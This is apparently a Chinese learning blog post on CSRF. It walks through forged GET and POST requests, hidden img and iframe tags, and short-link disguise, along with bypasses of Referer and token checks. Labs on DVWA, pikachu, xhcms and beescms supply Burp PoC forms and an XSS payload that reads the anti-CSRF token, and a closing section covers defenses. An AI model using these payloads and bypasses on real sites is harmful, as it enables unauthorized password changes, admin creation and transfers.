前言
CSRF只有简单了解,进行二次学习后总结如下,希望对正在学习CSRF的师傅有所帮助(本人只是小白,可能文章会出现问题,还请各位大师傅多多指点)
漏洞相关信息
漏洞成因
受害者在未退出重要网站的情况下出于好奇心或者其他心理访问了某个恶意链接,而这个恶意链接指向某个网站,比如受害者刚刚登录不久的银行网站,就可以在受害者不知情的情况下进行转账交易。
当然,这是个人理解,官方一点的如下
主要成因:浏览器cookie不过期,不关闭浏览器或退出登录,都会默认为已登录状态
次要成因:对请求合法性验证不严格
漏洞定义
CSRF,即Cross Site Request Forgery
,译为跨站点请求伪造,看起来似乎与XSS(跨站脚本攻击)是相像的,但两者实际上大相径庭,XSS是获取到网站信任用户的具体信息,进行攻击,而而CSRF则通过伪装成受信任用户进行攻击。对CSRF用一个简单的事例来进行讲解
1、老八访问www.bank.com,登录后存入100元
2、老八存过钱后未关闭网站,浏览其他网站时发现有一个名字为3060显卡100元处理的广告,老八点击访问
3、访问后发现什么也没有,老八大失所望,悻悻的离开网站
4、老八再次查看银行时,发现刚刚的钱被转走了
这个过程是怎么实现的呢,我们看一下这个链接的内容
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://www.bank.com" method="POST">
<input type="hidden" name="money" value="100" />
<input type="hidden" name="submit" value="submit" />
</form>
</body>
</html>
可以发现当访问它的时候,它自动进行了一个表单的提交,将100块钱进行了转出,而表面是什么也没有的(这个例子存在部分小问题,比如代码中没以有具体写转向了哪里,但不影响整体理解),这个时候老八刚刚存入的100就不翼而飞了。流程图的话,如下所示
漏洞危害
1、篡改目标网站上的用户数据
2、盗取用户隐私数据
3、作为其他攻击向量的辅助攻击手法
4、 传播CSRF蠕虫
常见类型
GET上传
针对GET类型,这个比较简单,我们只需要构造一个虚假链接,在里面添上我们的payload即可,构造如下所示
假设银行转账界面为877.php,代码如下所示
<?php
$money=$_GET['money'];
$user=$_GET['user'];
print("向 $user 转账成功,金额为 $money");
?>
此时攻击者构造恶意界面为1.php,具体代码如下
<html>
<a href="http://127.0.0.1:8080/html/877.php?user=hacker&money=100">杀马特团长的故事</a>
</html>
此时我们访问1.php
当受害者出于好奇访问此链接时
<img src="http://bank.com/?money=100&user=hacker" style="display:none;"/>
//这里的style="display:none;"指的是隐藏元素
对style="display:none;"
讲解具体示例如下
示例代码如下
<html>
<head>
<title></title>
<style type="text/css">
div{
background: lightblue;
width: 200px;
height: 200px;
}
span{
background: pink;
}
</style>
</head>
<body >
<div><span>需要隐藏的区域</span></div>
</body>
</html>
此时访问这个界面
而当我们在background: pink;
后加上display:none;
时
<html>
<head>
<title></title>
<style type="text/css">
div{
background: lightblue;
width: 200px;
height: 200px;
}
span{
background: pink;
display: none;
}
</style>
</head>
<body >
<div><span>需要隐藏的区域</span></div>
</body>
</html>
此时访问界面
成功隐藏此界面
POST上传
对于POST类型上传的,我们这个时候需要构造一个表单来进行提交,这个相对GET是比较麻烦的,不过我们这里可以简化一下,使用burpsuite工具来迅速构造出对应的表单,举例如下
银行转账界面仍877.php,其代码如下所示
<?php
$money=$_POST['money'];
$user=$_POST['user'];
print("向 $user 转账成功,金额为 $money");
?>
我们访问这个界面,自己先赋值一下,获取到参数,然后抓包
发包到重放模块,修改用户名和金额
构造poc
将内容复制到我们的恶意链接,也就是1.php中
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://127.0.0.1:8080/html/877.php/" method="POST">
<input type="hidden" name="money" value="100" />
<input type="hidden" name="user" value="hacker" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
此时当用户点击这个恶意链接时,界面如下
token验证
当随机生成token时,有两种方式,一种是通过xss获取当前界面的token,与此同时构造恶意链接,另一种是直接利用burpsuite的CSRF token插件来进行自动更新token
具体的话在下方中靶场实战时进行讲解
攻击思路
一般对于GET型,大多是利用标签来进行攻击,这个方式是有效且快捷的,因此我们这里先大致罗列一下常用的标签
而针对POST型的话,一般都是构造表单,这个的话我们就利用bp的CSRF PoC就可以生成对应的表单。
下面来大致讲解一下GET型时可以利用的标签
常用标签
超链接标签
<a>标签:<a href="http://xxx.com/?user=xx&money=xx"></a>
img标签
<img>标签: <img src="http://xxx.com/?user=xx&money=xx">
iframe标签
<iframe>标签:<iframe src="http://xxx.com/?user=xx&moeny=xx">
由于前两个在之前示例中已经讲过,所以这里不再举例子,这里的话讲解一下iframe标签,
先创建一个银行界面(GET型),命名为877.php,内容如下
<?php
$money=$_GET['money'];
$user=$_GET['user'];
print("向 $user 转账成功,金额为 $money");
?>
此时我们构造恶意链接,命名为1.php,内容如下
<html>
<body>
<iframe src="http://127.0.0.1:8080/html/877.php?user=hacker&money=1000" style= "display:none";>
</body>
</html>
当我们访问1.php的时候发现全是空白,这是因为style= "display:none";
隐藏了元素,当我们把这个去掉的时候
可以发现成功转账了
短链接伪装
当我们使用超链接时,就算用中文来进行掩饰,但下方的超链接仍然会暴露出来,此时如果受害者发现的话就不会再点击这个链接了,这个时候我们可以对链接进行一定的伪装,我们知道一串较长的链接可以通过短地址来进行缩短,因此我们这里就可以通过缩短链接来进行伪装
网上有很多短链接生成工具,这里我随便用一个,链接如下http://ddz.ee/
输入我们的恶意代码,即http://127.0.0.1:8080/html/877.php?user=hacker&money=1000
将生成的链接放到1.php中,替换到原来的,具体如下图
<html>
<a href="http://ddz.ee/A8PF7">虎哥的东北往事</a>
</body>
</html>
此时我们访问这个1.php
可以发现变成了这个,没有那么明显了,点击过后
成功进行了转账
类型转换(更换请求方法)
更换请求方法有时候也是一种攻击思路,当敏感信息以GET发送时,我们可以尝试转换为POST发送,当以POST发送时,我们可以尝试将其类型转换为GET发送,应用程序可能仍然执行操作,且通常没有任何保护机制。这是因为服务端可能接受的是REQUEST
方式,此时就可以实现类型转换绕过,示例
POST /bank.com
POST body:
money=100&user=hacker
此时我们更换类请求方法
GET /bank.com?money=100&user=hacker
此时就可以成功转账,那这样的话,我们如果面对的是POST上传的,我们就可以构造一个链接,像这样
<html>
<a href="http://127.0.0.1:8080/html/877.php?user=hacker&money=100">杀马特团长的故事</a>
</html>
此时就更换了请求方式,以GET方式上传,实现了CSRF
而遇见的如果是GET上传的,此时我们可以构造表单来进行POST上传,像这样
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://127.0.0.1:8080/html/877.php/" method="POST">
<input type="hidden" name="money" value="100" />
<input type="hidden" name="user" value="hacker" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
此时就以POST方式提交了,也成功进行了转账,实现了CSRF
绕过思路
绕过Referer检测
有时候可能会遇到检测Referer的情况,这个时候也就要求是同域的,不是同域的话就不符合条件,就会被PASS掉,什么是同域呢,简单的说一下,假设你的ip为124.138.124.168
,此时检测Referer头时,它就会是你的ip加上你访问的文件名,这时候其实也就是要求你的ip必须是服务端的才行。但是呢,道高一尺魔高一丈,当检验的不是那么严谨的时候,这个Referer也是可以进行绕过的。示例如下
我们的银行转账界面877.php,内容如下
<?php
if( isset( $_REQUEST[ 'user' ] ) ) {
if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
$user=$_REQUEST['user'];
}
}
else{
exit("hacker!!!");
}
if( isset( $_REQUEST[ 'money' ] ) ) {
if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
$money=$_REQUEST['money'];
}
}
else{
exit("hacker!!!");
}
print("向 $user 转账成功,金额为 $money");
?>
先读懂代码,首先了解一下stripos
函数
stripos:查找字符串首次出现的位置(不区分大小写)
mixed stripos( string $haystack, string $needle)
返回在字符串 haystack 中 needle 首次出现的数字位置。
然后我们看一下这个函数里的变量$_SERVER[ 'HTTP_REFERER' ]
的话就是获取Referer头,识别请求来源
这个$_SERVER[ 'SERVER_NAME' ]
其实也就是$_SERVER['SERVER_NAME'] : $_SERVER['SERVER_PORT']
,可以理解为
$_SERVER['HTTP_HOST'] = $_SERVER['SERVER_NAME'] : $_SERVER['SERVER_PORT']
这里的话其实就是获取个ip地址,然后呢,看与Referer头中是否一致,一致的话就传值,否则就PASS,我们这里抓个银行界面的包
我这里的话看起来是一致的,是因为我是本地测试,导致请求界面与后端界面一致,而实际情况中我们想实现CSRF的话,Referer肯定与Host是不一致的,那此时检测Referer头与Host不一致,就会被PASS,但是我们细细的想一下,我们本机的Referer头包括我们的文件名,我们的文件名是可控的,如果我们修改文件名,让它与Host保持一致,此时是不是就也满足了检测条件呢,我们测试一下
<?php
if( stripos( "http://133.223.464.532/168.134.132.166.php" ,"168.134.132.166") !== false ) {
//http://133.223.464.532/168.134.132.166.php是我们的Referer头,168.134.132.166是Host。
print("成功绕过");
}
?>
所以我们这里的话,就可以通过更换文件名,来实现绕过
转账成功,实现CSRF
绕过Token
一个站点使用了CSRF token不代表这个token是有效验证对应请求操作的,可以尝试如下方法绕过CSRF的token保护。
1、删除token参数
2、发送空token
当不发生Token时也可以正常请求数据,这种逻辑错误有时候也是可以遇见的,应用程序有时会在token存在的时候或者token参数不为空的时候检查token的有效性,此时我们就可以尝试上面的两种方法绕过
示例
正常的请求
POST /bank.com
POST body:
user=hacker&money=100&token=283caef0757a4ac9841dasb9ccd8b86a
我们可以尝试这样请求
POST /bank.com
POST body:
user=hacker&money=100&token=
或者这样
POST /bank.com
POST body:
user=hacker&money=100
此时就可能成功绕过
CSRF漏洞挖掘
CSRF的话,肯定是利用管理员的权限来进行某些操作,所以我们在进行代码审计的时候,可以关注一下后台文件,看是否存在CSRF漏洞
xhcms
登录后台界面,发现有删除文章的权限
抓删除文件时的包
发送到重放模块,利用bp自带的CSRF poc
进行恶意语句构造
可以发现这里是未检测token的,因此是极有可能存在CSRF的,我们复制到文件中并命名为xhcms.html
点击访问
访问
注意:这个是在同一个浏览器下的情况,此时只有这个浏览器上仍然存有管理员的信息,能够直接执行语句,当换到其他浏览器时,就无法执行删除语句,访问会跳转到登录界面
beescms
登录后台,发现有添加管理员界面,随便输入一下
抓包,发送到重放模块
未发现Token,可能存在CSRF,这个时候我们自定义信息,接下来利用bp构造poc,得到
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://127.0.0.1:8080/beescms/admin/admin_admin.php?nav=list_admin_user&admin_p_nav=user" method="POST" enctype="multipart/form-data">
<input type="hidden" name="admin_name" value="1231" />
<input type="hidden" name="admin_password" value="1231" />
<input type="hidden" name="admin_password2" value="1231" />
<input type="hidden" name="admin_nich" value="1231" />
<input type="hidden" name="purview" value="1" />
<input type="hidden" name="admin_admin" value="1231" />
<input type="hidden" name="admin_mail" value="1@qq.com " />
<input type="hidden" name="admin_tel" value="1234" />
<input type="hidden" name="is_disable" value="0" />
<input type="hidden" name="action" value="save_admin" />
<input type="hidden" name="submit" value="确定" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
复制到文件中并命名为beescms.html
管理员添加成功
靶场实战
DVWA
low
发现输入修改密码界面,随便输入一下尝试
发现url变化,说明是GET传参,我们可以进行自己构造payload
http://127.0.0.1:8080/DVWA-master/vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change#
访问
直接修改了密码,这里的话可见应该是没有什么防护的,但是这个的话在实战中也太明显了,就算构造出了链接,受害者一眼就能看出来这个是修改密码的,也就意味着无法实现CSRF了,这个时候我们该怎么办呢,可以用短链接来缩短链接,给它伪装一下,短链接生成网址
https://www.duanlianjie.net/
访问这个网址,观察url变化
成功修改密码。
此时来看一下源代码
<?php
if( isset( $_GET[ 'Change' ] ) ) {
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
不难看出代码中的过滤方式是mysqli_real_escape_string
函数,这个函数的作用是转义特殊字符
,那么在这里的话它对CSRF是没有影响的,这里的话其实还有一种攻击方式,就是利用burpsuite自带的CSRF poc进行构造,具体过程如下
我们先随便输入一下,然后抓包
利用burpsuite自带的CSRF工具进行构造
放入html文件中,而后访问(此时携带了刚刚在dvwa中的cookie)
成功修改
medium
看一下源代码
<?php
if( isset( $_GET[ 'Change' ] ) ) {
// Checks to see where the request came from
if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}
}
else {
// Didn't come from a trusted source
echo "<pre>That request didn't look correct.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
添加了Refeerer头检验,这个的话是要求来自同一个域,其实也就是要求访问的必须是本地的,但Referer
请求头是可以伪造的,具体过程如下
简单输入抓包
这里的话可以看见本地的Referer是127.0.0.1,和Host的是一致的,但正常的情况下是不一致的,Host一般是受害者的,而Referer来源于攻击者
比如Host的地址为192.134.164.132,这个时候攻击者的ip肯定是与Host的不同的,假设是186.123.134.265,这个时候如果请求的话,Referer是http://186.123.134.265,就会因为Referer中不包含192.134.164.132 而无法修改密码,但如果我们文件名包含这个Host地址,那Referer就会变成http://186.123.134.265/192.134.164.132.html,此时就包含了Host地址,就可以成功修改密码,实现CSRF
说了这么多,我们现在来自己进行测试一下,利用burpsuite构造出POC
构造一个html文件,然后将内容复制进去
点击访问
成功修改密码,实现CSRF
High
<?php
if( isset( $_GET[ 'Change' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
// Generate Anti-CSRF token
generateSessionToken();
?>
可以发现多了这个generateSessionToken()
函数,这个是用来生成token的,具体介绍如下
Anti-CSRF token机制,用户每次访问该页面时,服务器都会返回一个随机的token(generateSessionToken();),向服务器发起请求时,需要提交token参数,而服务器在收到请求时,会优先检查token,只有token正确,才会处理客户端的请求。
这里的话我们有两种方式
方法一
借助XSS来获取token,这个网页中有一个high的xss漏洞,如果我们通过xss得到token,此时就可以按照之前的方法来进行CSRF了,打开存储型XSS,发现这里限制了输入长度,F12修改一下即可
测试后发现过滤了script,这里的话我们可用其他标签获取token
<iframe src="../csrf/" onload=alert(frames[0].document.getElementsByName('user_token')[0].value)>
输入后提交,刷新界面就会出现此时的token
这时候按照之前的方法进行CSRF即可,在提交的时候额外带上一个CSRF就可以了
方法二
正常情况下抓包后发包,由于token更新,这个已经失效,访问会变成302
这时候利用burpsuite中的CSRF插件来进行攻击(这个插件可以自动更新token)。在拓展中找到CSRF Token Tracker
安装一下,打开它添加Host和对应的token名
此时再重放
成功修改密码,实现CSRF
pikachu
GET
登录后查看一下
看一下可以修改的信息
发现可以修改的name值,这个时候我们就可以自己构造语句来进行修改信息,构造payload如下
http://127.0.0.1:8080/pikachu-master/vul/csrf/csrfget/csrf_get_edit.php?sex=静一静&phonenum=全体目光向我看齐&add=我宣布个事&email=你是个纱布&submit=submit
简单修改一下的话就变成了
<a href="http://127.0.0.1:8080/pikachu-master/vul/csrf/csrfget/csrf_get_edit.php?sex=静一静&phonenum=全体目光向我看齐&add=我宣布个事&email=你是个纱布&submit=submit">虎哥的东北往事,点击了解</a>
在能解析HTML的界面上就会变成这样
当把这个放在公网上,受害者点击后就会自动修改个人信息,如下所示
此时就达到了CSRF的目的
POST
对于POST提交的话,这个我们就需要构造html表单了,这个时候就可以借助burpsuite来实现
具体步骤如下
登录后在修改信息处点submit时抓包
右键发送到重放模块
修改信息
构造poc
放至到一个html文件中,当受害者访问时,出现界面
点击后就会发现信息就会被修改
token
这个可以利用burpsuite的CSRF获取token插件来进行攻击,具体步骤如下
在拓展中找到CSRF Token Tracker
(作用是自动识别并更新token)安装后打开,添加Host和name
然后抓包
发送到重放模块,修改信息
此时再查看界面
成功修改了信息,实现CSRF
CSRF防御
同源检测
既然 CSRF 大多来自第三方网站,那么我们就直接禁止外域(或者不受信任的域名)对我们发起请求。
POST提交
GET方式提交相对POST方式提交被攻击性大的多,使用POST提交可以起到一定的防护作用。
使用Token
使用token令牌,就是在服务端生成一段token,前端每次提交请求到后端的时候,检验该token是否携带token且是否为自己生成,如果不是,则拦截掉该请求。
验证Referer头
验证HTTP Referer,验证http请求头中的Referer字段的值,也就是验证请求中的来源网站地址,如果不在白名单之内,则认为是伪造请求。
添加自定义属性
在http请求头中增加自定义属性,其实这种方式和验证token比较类似,不过这里并不是把token作为请求参数,而是放在http请求头中。
总结
CSRF的话往往不会单独出现,想要利用的话经常要结合XSS这种,这里主要是学习一下大致思路,待日后遇到具体的CSRF漏洞时,再进行记录。若文章有不当之处,还请各位大师傅多多指教。
参考文献
https://tttang.com/archive/1246/#toc_0x03-csrf
https://tech.meituan.com/2018/10/11/fe-security-csrf.html
https://xz.aliyun.com/t/7297
https://xz.aliyun.com/t/8186
https://xz.aliyun.com/t/6176